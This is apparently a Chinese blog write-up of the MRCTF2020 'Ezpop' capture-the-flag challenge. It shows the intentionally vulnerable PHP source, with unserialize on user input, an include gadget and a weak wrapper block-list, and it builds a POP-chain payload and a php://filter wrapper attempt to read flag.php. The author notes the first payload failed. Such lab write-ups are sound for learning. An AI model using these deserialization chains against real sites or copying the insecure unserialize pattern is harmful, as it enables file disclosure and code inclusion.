[MRCTF2020]Ezpop

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

Modifier:当该对象被当作函数调用时,能文件包含。

Test:当该对象的不可访问属性被访问时,能调用函数。

Show:反序列化起点

思路:首先通过Show中_tostring return 一个Test对象中不存在属性,从而将Modifier对象当作函数调用,然后包含flag.php文件。不知道include(flag.php)能不能看到源码。

构造playload:

php 复制代码
$a = new Show;
$a->source = new Show;
$a->source->str = new Test;
$b = new Modifier;
$b->var = "flag.php";//需要先修改可见性为public
$a->source->str->p = $b;
echo serialize($a);

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:8:"flag.php";}}}s:3:"str";N;}

访问一下果然没有任何回显。那怎么获得flag.php中的内容呢?

难道能利用伪协议?试试看将$b->var改为"php://filter/convert.base64-encode/resource=flag.php"

仍然不行,看一下答案吧...

问题在于我将b中的var变量的可见性由protected改成了public?为什么这样就出现问题了呢,我记得上次一道题目中这样改是没有问题的呀!

唯一的区别就在于上次那道题目改的直接是序列化对象字符串,这道题改的是pop链中的一个对象。

下次做php反序列化题目的时候能不改可见性就不改吧,除非题目将其作为了一个考点那就可以尝试。

相关推荐
ad禥思妙想7 小时前
[LitCTF 2023]OSINT 探姬去哪了?【0~3】
ctf·misc
曲幽8 小时前
重构FastAPI生产部署:用异步网关与无服务器计算应对高并发
python·serverless·fastapi·web·async·httpx·await·asyncio
ad禥思妙想11 小时前
NSSCTF_MISC_WP_刷题记录(四)
ctf·misc
曲幽1 天前
FastAPI登录验证:用OAuth2与JWT构筑你的API安全防线
python·fastapi·web·jwt·token·oauth2
ShoreKiten2 天前
ctfshow-web257【保姆级wp】
php·web
这就是佬们吗2 天前
告别 Node.js 版本冲突:NVM 安装与使用全攻略
java·linux·前端·windows·node.js·mac·web
WayneJoon.H3 天前
2023CISCN go_session
网络安全·golang·ctf·代码审计·ciscn
heartbeat..3 天前
Spring MVC 全面详解(Java 主流 Web 开发框架)
java·网络·spring·mvc·web
lingxiao168883 天前
WebApi详解+Unity注入--上篇:基于Framework的WebApi
c#·wpf·web